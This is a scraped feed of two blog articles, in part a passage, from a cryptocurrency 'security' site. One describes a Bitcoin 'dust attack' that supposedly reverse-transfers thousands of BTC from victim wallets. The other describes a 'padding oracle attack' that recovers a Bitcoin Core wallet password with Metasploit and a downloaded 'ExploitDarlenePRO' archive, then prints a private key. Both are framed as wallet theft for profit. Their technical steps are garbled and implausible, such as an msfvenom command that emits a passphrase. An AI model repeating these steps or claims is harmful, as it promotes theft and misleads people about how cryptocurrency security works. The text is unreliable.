OP_DUP OP_HASH160 b'2581997c24562e316ffa3163e63d2db26442cc9a' OP_EQUALVERIFY OP_CHECKSIG 
b'304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a' 

--------------------------------------

RawTX for performing isomorphism:
0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800

--------------------------------------

Link to gif content #04.1


We have received the RawTX dust transaction, now let’s go to the  Verify Transactions section to make sure that the transaction was created properly. Copy RawTX and paste it into the Verify transactions and other scripts input field

RawTX for performing isomorphism:

0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800
DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

ScriptSig Isomorphism

The goal of our dust attack is to get maximum profit from the Bitcoin Wallet to which we send 555 satoshi . To do this, we go to the ScriptSig Isomorphism section and convert the dust transaction into isomorphism, according to the theory of https://safecurves.cr.yp.to/ladder.html (two transactions must be confirmed by miners). The first transaction is a dust transaction, where a small amount of 555 satoshi is sent , the second transaction is an isomorphism of the first transaction, where a reverse transfer of funds from the balance of the victim of a dust attack occurs.

Link to gif content #05.1


We will publish the resulting isomorphism in the CryptoDeepTools repository

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/isomorphism.txt

According to the theory described in the Create Dust Transaction section , we need to change all existing values 74786964​​in the new isomorphism transaction to all current ones txid that were made in the Bitcoin Wallet: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i on which we perform a dust attack with a small amount of 555 satoshi[ send_dust ]


Let’s run the script by specifying print(tx.serialize().hex()[+10:+74]) and convert the entire txid list into hash stream format

Link to gif content #06


After we have received all the streaming hash formats, we need to save the entire list by replacing txid , to do this, open the file: isomorphism.txt in Notepad++ , press the keys:
CTRL + Fwrite: 74786964 replace with: \ntxid\n

Let’s go to CryptoDeepTools and perform the replacement function in Notepad++ because we have received a list of txid , now from the list GitHubwe will copy and paste the entire list of streaming hash format into the file: isomorphism.txt


Link to gif content #08


Replacing the public key in the file: isomorphism.txt

Isomorphism is a new transaction and in place of the value 7075626b6579 we need to indicate the public key of the Bitcoin Wallet from which we want to make a transaction in order to obtain maximum profit. To do this, go to the PublicKey.txt file and run the python script: pubtoaddr.py to make sure whether the public key corresponds to the address for the dust attack.

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/PublicKey.txt

Afterwards we need to change all existing values7075626b6579 ​​to the value in the file: PublicKey.txt (All actions are also done in Notepad++ ) 


Link to gif content #10


Bitcoin address to receive all profits:

To transfer all accumulated BTC coins, we need to generate a completely new Bitcoin address in the format (SegWit):
36ZfWyL5NGvC2u54QENyUgDzTgNyHe1xpE

In order to get hash160Bitcoin addresses we need to decode RedeemScriptusing the python script createrawtransaction.py
print(Tx.get_address_data(send_dust)['script_pubkey'])

After receiving hash160the new Bitcoin Address, (SegWit)we need to open the file:  isomorphism.txt in Notepad++ and replace the value with the received value 68617368313630hash160

We have added all the necessary values ​​to create a new transaction to make a profit from isomorphism, now we need to select all the text on the file:  isomorphism.txt by pressing the keys: CTRL + Aafter we combine everything into one line, for this we need to press the keys, CTRL + Jas a result we get a long line with spaces . We remove spaces by pressing the keys: CTRL + Freplace spaces. As a result, we get a new RawTX to complete the transaction.


Link to gif content #12


Any transaction must be confirmed by miners in order to send RawTX to the section field: Broadcast Transaction To submit an application for confirmation by miners, you must carefully ensure that the payment is created correctly; for this, go to the section: Verify Transactions and other scripts



The amount of profit in coins from a dust attack is:

5000.00141092 BTC // $ 209364,284.08 United States Dollar



Example No. 2

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

Let’s continue the dust attack with another example. We will use the same address as a cold wallet: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeKFor example No. 2, we will top up the balance with the amount: 0.033532 BTC or in Bitcoin units: 33532 satoshi

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

Let’s save the transaction TXID hash from the balance replenishment payment for further construction of the Merkle Tree


Payment hash from balance replenishment

Let’s copy TXID: 655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5 because this is the replenishment hash of the cold wallet balance: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK then open the source code of the Python script createrawtransaction.py and in line No. 7 change the value to your data.

dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")

Change line No. 5 and insert Private Key WIF

pk = PrivateKey.parse("L1k********************************************MdrTj")

In line No. 12, add the total amount of the cold wallet balance. In our case, this amount is 33532 satoshi

tx_in._value = 33532

Profit from dust attack.

We choose a Bitcoin Wallet from which we ultimately make a profit if the miners confirm the isomorphism. Since we are considering example No. 2, in our case we choose the Bitcoin Wallet address: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

In line No. 9 we need to indicate the Bitcoin Address for the dust attack

send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"

The amount of dust will be 555 satoshi , in line No. 15 we indicate this amount.

TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),

Next, we take into account Fee (commission for miners), this amount will be 226 satoshi

555 + 226 = 781 satoshi

We also need to consider returning our funds back to our cold wallet: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK because we allocated 781 satoshi for the dust attack, subtract this amount from the total amount replenishing the balance of the cold wallet 33532 satoshi

33532 - 781 = 32751 satoshi 

In line No. 16 we indicate the amount of return of our funds back to our cold wallet: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())

We run our createrawtransaction.py script by pressing a key «F5» or option:Run / Run Module F5

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

Run the script: createrawtransaction.py

from io import BytesIO
from secp256k1 import *
from sighash import *

pk = PrivateKey.parse("L1k********************************************MdrTj")
pk.address()
dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")
dust_index = 0
send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"
tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 33532
tx_ins = [ tx_in ]
tx_outs = [
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
    TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()

print("\n--------------------------------------\n")
print("My work Bitcoin Address:  " + pk.address())
print("Address for Getting Rich: " + send_dust)
print("\n--------------------------------------\n")
print(tx_in._script_pubkey)
print(tx_in.script_sig)
print("\n--------------------------------------\n")
print("RawTX for performing isomorphism:")
print(tx.serialize().hex())
print("\n--------------------------------------\n")

Result:

--------------------------------------

My work Bitcoin Address:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Address for Getting Rich: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

--------------------------------------

OP_DUP OP_HASH160 b'662367a3d78a4b0fcbb3020b3d724981d10934f6' OP_EQUALVERIFY OP_CHECKSIG b'3045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a'

--------------------------------------

RawTX for performing isomorphism:
0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800

--------------------------------------

Link to gif content #04.2


We have received the RawTX dust transaction, now let’s go to the  Verify Transactions section to make sure that the transaction was created properly. Copy RawTX and paste it into the Verify transactions and other scripts input field

RawTX for performing isomorphism:

0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800
DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

ScriptSig Isomorphism

The goal of our dust attack is to get maximum profit from the Bitcoin Wallet to which we send 555 satoshi . To do this, we go to the ScriptSig Isomorphism section and convert the dust transaction into isomorphism, according to the theory of https://safecurves.cr.yp.to/ladder.html (two transactions must be confirmed by miners). The first transaction is a dust transaction, where a small amount of 555 satoshi is sent , the second transaction is an isomorphism of the first transaction, where a reverse transfer of funds from the balance of the victim of a dust attack occurs.

Link to gif content #05.2


We will publish the resulting isomorphism in the CryptoDeepTools repository

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/isomorphism.txt

According to the theory described in the Create Dust Transaction section , we need to change all existing values 74786964​​in the new isomorphism transaction to all current ones txidthat were made in the Bitcoin Wallet: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt on which we perform a dust attack with a small amount of 555 satoshi[ send_dust ]


Let’s run the script by specifying print(tx.serialize().hex()[+10:+74]) and convert the entire txid list into hash stream format

Link to gif content #07


After we have received all the streaming hash formats, we need to save the entire list by replacing txid , to do this, open the file: isomorphism.txt in Notepad++ , press the keys:
CTRL + Fwrite: 74786964 replace with: \ntxid\n

Let’s go to CryptoDeepTools and perform the replacement function in Notepad++ because we have received a list of txid , now from the list GitHubwe will copy and paste the entire list of streaming hash format into the file: isomorphism.txt


Link to gif content #09


Replacing the public key in the file: isomorphism.txt

Isomorphism is a new transaction and in place of the value 7075626b6579 we need to indicate the public key of the Bitcoin Wallet from which we want to make a transaction in order to obtain maximum profit. To do this, go to the PublicKey.txt file and run the python script: pubtoaddr.py to make sure whether the public key corresponds to the address for the dust attack.

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/PublicKey.txt

Afterwards we need to change all existing values7075626b6579 ​​to the value in the file: PublicKey.txt (All actions are also done in Notepad++ ) 


Link to gif content #11


Bitcoin address to receive all profits:

To transfer all accumulated BTC coins, we need to generate a completely new Bitcoin address in the format (SegWit):

3GsC42MbUrtGU4un6QHbXkyjKVawyvm6ac

In order to get hash160Bitcoin addresses we need to decode RedeemScriptusing the python script createrawtransaction.py

print(Tx.get_address_data(send_dust)['script_pubkey'])

After receiving hash160the new Bitcoin Address, (SegWit)we need to open the file:  isomorphism.txt in Notepad++ and replace the value with the received value 68617368313630hash160

We have added all the necessary values ​​to create a new transaction to make a profit from isomorphism, now we need to select all the text on the file:  isomorphism.txt by pressing the keys: CTRL + Aafter we combine everything into one line, for this we need to press the keys, CTRL + Jas a result we get a long line with spaces . We remove spaces by pressing the keys: CTRL + Freplace spaces. As a result, we get a new RawTX to complete the transaction.


Link to gif content #13


Any transaction must be confirmed by miners in order to send RawTX to the section field: Broadcast Transaction To submit an application for confirmation by miners, you must carefully ensure that the payment is created correctly; for this, go to the section: Verify Transactions and other scripts


The amount of profit in coins from a dust attack is:

5001.51473912 BTC // $ 215831966,02 United States Dollar



References:


This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1 against weak ECDSA  signatures in the  BITCOIN cryptocurrency. The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

YouTube: https://www.youtube.com/@cryptodeeptech

Video material: https://dzen.ru/video/watch/65be9256df804947fbd96fd7

Source: https://cryptodeeptech.ru/dustattack


DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10000 BTC

Сообщение DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10000 BTC появились сначала на «CRYPTO DEEP TECH».

]]>
Padding Oracle Attack on Wallet.dat password decryption for the popular wallet Bitcoin Core https://cryptodeeptech.ru/padding-oracle-attack-on-wallet-dat/ Fri, 24 Nov 2023 20:59:03 +0000 https://cryptodeeptech.ru/?p=2475 In this article, we will use the classification of common attack patterns from the cybersecurity resource [CAPEC™] . The “Padding Oracle Attack” was first discussed on Wallet.dat back in 2012 (on the vulnerability management and threat analysis platform “VulDB” ) . The problem of the most popular Bitcoin Core wallet affects the work  AES Encryption Paddingin the file Wallet.dat The technical details of this attack are known: This attack can be […]

Сообщение Padding Oracle Attack on Wallet.dat password decryption for the popular wallet Bitcoin Core появились сначала на «CRYPTO DEEP TECH».

]]>

In this article, we will use the classification of common attack patterns from the cybersecurity resource [CAPEC™] . The “Padding Oracle Attack” was first discussed on Wallet.dat back in 2012 (on the vulnerability management and threat analysis platform “VulDB” ) . The problem of the most popular Bitcoin Core wallet affects the work  AES Encryption Paddingin the file Wallet.dat

The technical details of this attack are known:


An attacker can effectively decrypt data without knowing the decryption key if the target system leaks information about whether a padding error occurred when decrypting the ciphertext. A target system that transmits this type of information becomes a padding oracle, and an attacker can use this oracle to efficiently decrypt the data without knowing the decryption key, issuing an average of 128*bcalls to the padding oracle (where bis the number of bytes in the ciphertext block). In addition to performing decryption, an attacker can also create valid ciphertexts (i.e., perform encryption) using a padding oracle, all without knowing the encryption key.


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Any cryptosystem can be vulnerable to padding oracle attacks if encrypted messages are not authenticated to ensure their validity before decryption, and then the padding error information is passed on to the attacker. This attack method can be used, for example, to break CAPTCHA systems or decrypt/modify state information stored in client-side objects (such as hidden fields or cookies). 


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

This attack method is a side-channel attack on a cryptosystem that uses leaked data from a poorly implemented decryption procedure to completely undermine the cryptosystem. A single bit of information that tells an attacker whether a padding error occurred during decryption, in whatever form it may be, is enough for the attacker to break the cryptosystem. This bit of information may come in the form of an explicit completion error message, a blank page being returned, or even that the server is taking longer to respond (a timing attack).


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

This attack can be launched in cross-domain mode, where the attacker can use cross-domain information leaks to obtain bits of information from the padding oracle from the target system/service that the victim is interacting with.


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

In symmetric cryptography, a padding oracle attack can be performed in the AES-256-CBC encryption mode (which is used by Bitcoin Core), in which the “oracle” (the source) communicates whether the padding of the encrypted message is correct or not. Such data could allow attackers to decrypt messages through the oracle using the oracle key  without knowing the encryption key.


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet
Padding Oracle Attack Process on Wallet.dat

Let’s move on to the practical part and perform a series of actions through the exploit in order to fill out the oracle in the Wallet.dat file in the process and ultimately find the password we need in binary format.

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet
Capture The Flag (CTF)

Earlier, researchers and tournament participants CTFmade public a hacked [ wallet.dat 2023 ] Bitcoin Wallet: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b in the amount of :  44502.42 US dollars // BITCOIN: 1.17461256 BTC


Let’s follow the link to releases Bitcoin Core version 22.1

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet
https://github.com/bitcoin/bitcoin/releases


Index of /bin/bitcoin-core-22.1/


../
test.rc1/                                          08-Nov-2022 18:08                   -
test.rc2/                                          28-Nov-2022 09:39                   -
SHA256SUMS                                         14-Dec-2022 17:59                2353
SHA256SUMS.asc                                     14-Dec-2022 17:59               10714
SHA256SUMS.ots                                     14-Dec-2022 17:59                 538
bitcoin-22.1-aarch64-linux-gnu.tar.gz              14-Dec-2022 17:59            34264786
bitcoin-22.1-arm-linux-gnueabihf.tar.gz            14-Dec-2022 18:00            30424198
bitcoin-22.1-osx-signed.dmg                        14-Dec-2022 18:00            14838454
bitcoin-22.1-osx64.tar.gz                          14-Dec-2022 18:00            27930578
bitcoin-22.1-powerpc64-linux-gnu.tar.gz            14-Dec-2022 18:00            39999102
bitcoin-22.1-powerpc64le-linux-gnu.tar.gz          14-Dec-2022 18:00            38867643
bitcoin-22.1-riscv64-linux-gnu.tar.gz              14-Dec-2022 18:01            34114511
bitcoin-22.1-win64-setup.exe                       14-Dec-2022 18:01            18771672
bitcoin-22.1-win64.zip                             14-Dec-2022 18:01            34263968
bitcoin-22.1-x86_64-linux-gnu.tar.gz               14-Dec-2022 18:01            35964880
bitcoin-22.1.tar.gz                                14-Dec-2022 18:01             8122372
bitcoin-22.1.torrent                               14-Dec-2022 18:01               49857



Install Bitcoin Core version 22.1

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

NECESSARILY! Restart QT Program // Restart Bitcoin Core

Press the keys:Ctrl + Q

You need to restart the program QTin order to synchronize the newwallet.dat

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s check using the getaddressinfo command Bitcoin Wallet:  1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

getaddressinfo "address"

Return information about the given bitcoin address.
Some of the information will only be present if the address is in the active wallet.

Let’s run the command:

getaddressinfo 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

Result:

{
  "address": "1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b",
  "scriptPubKey": "76a9147774801e52a110aba2d65ecc58daf0cfec95a09f88ac",
  "ismine": true,
  "solvable": true,
  "desc": "pkh([7774801e]02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f)#qzqmjdel",
  "iswatchonly": false,
  "isscript": false,
  "iswitness": false,
  "pubkey": "02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f",
  "iscompressed": true,
  "ischange": false,
  "timestamp": 1,
  "labels": [
    ""
  ]
}
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s run the dumpprivkey command to get the private key to the Bitcoin Wallet:  1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

dumpprivkey "address"

Reveals the private key corresponding to 'address'.
Then the importprivkey can be used with this output

Let’s run the command:

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Result:

Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

We see that access to the private key of the Bitcoin Wallet  is password protected.

passphrase ?!?!?
passphrase ?!?!?
passphrase ?!?!?

Let’s run and decrypt the password into binary format, for this we will need to install the Bitcoin Core integration/staging treePadding Oracle Attack на Wallet.dat repositories ; for this you can open the finished file from  Jupyter Notebook  and upload it to the  Google Colab  notebook )


https://colab.research.google.com/drive/1rBVTPyePTMjwXganiwkHfz59vcAtN5Wt


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
ht tps://github.com/demining/CryptoDeepTools/tree/main/27PaddingOracleAttackonWalletdat

Padding_Oracle_Attack_on_Wallet_dat.ipynb


Let’s open the Google Colab service using the link: https://colab.research.google.com


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Click on "+"and “Create a new notepad”


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Install Ruby in Google Colab

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

To run the programs we need, we will install the object-oriented programming language Ruby


!sudo apt install ruby-full

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s check the installation version


!ruby --version
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet
Ruby version 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

Let’s install a library 'bitcoin-ruby'for interacting with the Bitcoin protocol/network


!gem install bitcoin-ruby

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s install a library 'ecdsa'for implementing the Elliptic Curve Digital Signature Algorithm (ECDSA)


!gem install ecdsa

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s install a library 'base58'to convert integer or binary numbers to base58and from.


!gem install base58

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s install a library 'crypto'to simplify operations with bytes and basic cryptographic operations


!gem install crypto

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s install a library 'config-hash'to simplify working with big data.


!gem install config-hash -v 0.9.0

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s install the Metasploit Framework and use MSFVenom

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s install the Metasploit Framework from GitHub and use the MSFVenom tool to create the payload.


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s see the contents of the folder"metasploit-framework"


ls

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Options:

!./msfvenom -help 
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet




Let’s install Bitcoin Core integration/staging tree in Google Colab:

!git clone https://github.com/bitcoin/bitcoin.git


ls

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s go through the directory to the file: aes.cpp to integrate the exploit to launch Padding Oracle Attack on Wallet.dat

cd bitcoin/src/crypto/

ls

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Open the file: aes.cpp using the cat utility

cat aes.cpp

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

To carry out the attack, upload the file: wallet.dat to the directory: bitcoin/src/crypto/

Let’s use the utility wgetand download wallet.dat from the 27PaddingOracleAttackonWalletdat repositories

!wget https://github.com/demining/CryptoDeepTools/raw/29bf95739c7b7464beaeb51803d4d2e1605ce954/27PaddingOracleAttackonWalletdat/wallet.dat
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s check the contents of the directory: bitcoin/src/crypto/

ls
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s go back toMetasploit Framework

cd /

cd content/metasploit-framework/

ls
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s open the folders according to the directory:/modules/exploits/

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

ExploitDarlenePRO

Download "ExploitDarlenePRO"from the catalogue:/modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/fe9b4545d58e43c1704b0135383e5f124f36e40cb54d29112d8ae7babadae791/ExploitDarlenePRO.zip
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Unzip the contents ExploitDarlenePRO.zipusing the utilityunzip

!unzip ExploitDarlenePRO.zip
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s go through the catalogue:/ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

To run the exploit, let’s go back toMetasploit Framework

cd /

cd content/metasploit-framework/

ls
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

We need to identify our LHOST (Local Host)attacking  IP-addressvirtual machine.

Let’s run the commands:

!ip addr
!hostname -I
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s use the tool to create a payload MSFVenom

For operation, select Bitcoin Wallet: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

Launch command:

!./msfvenom 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Result:

1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101

We need to save the resulting binary format to a file: walletpassphrase.txtwe will use a Python script .

Team:

import hashlib

Binary = "1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101"

f = open("walletpassphrase.txt", 'w')
f.write("walletpassphrase " + Binary + " 60" + "\n")
f.write("" + "\n")
f.close()

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Open the file: walletpassphrase.txt

ls
cat walletpassphrase.txt

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Result:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

The password to access the private key has been found!


Let’s use the command dumpprivkey "address"via the consoleBitcoin Core

Teams:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Result:

KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz

Private Key Received!


Let’s install the libraryBitcoin Utils

pip3 install bitcoin-utils
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Let’s run the code to check the compliance of Bitcoin Addresses:

Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

Private key WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
Public key: 02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f
Address: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
Hash160: 7774801e52a110aba2d65ecc58daf0cfec95a09f

--------------------------------------

The message to sign: CryptoDeepTech
The signature is: ILPeG1ThZ0XUXz3iPvd0Q6ObUTF7SxmnhUK2q0ImEeepcZ00npIRqMWOLEfWSJTKd1g56CsRFa/xI/fRUQVi19Q=
The signature is valid!

That’s right! The private key corresponds to the Bitcoin Wallet.


Let’s open  bitaddress  and check:

ADDR: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
WIF:  KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
HEX:  3A32D38E814198CC8DD20B49752615A835D67041C4EC94489A61365D9B6AD330
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

https://www.blockchain.com/en/explorer/addresses/btc/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet
Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

BALANCE: $ 44502.42



References:


This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1 against weak ECDSA  signatures   in the  BITCOIN cryptocurrency . The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/0aCfT-kCRlw

Source: https://cryptodeeptech.ru/padding-oracle-attack-on-wallet-dat


Padding Oracle Attack on Wallet.dat password decryption for the popular Bitcoin Core wallet

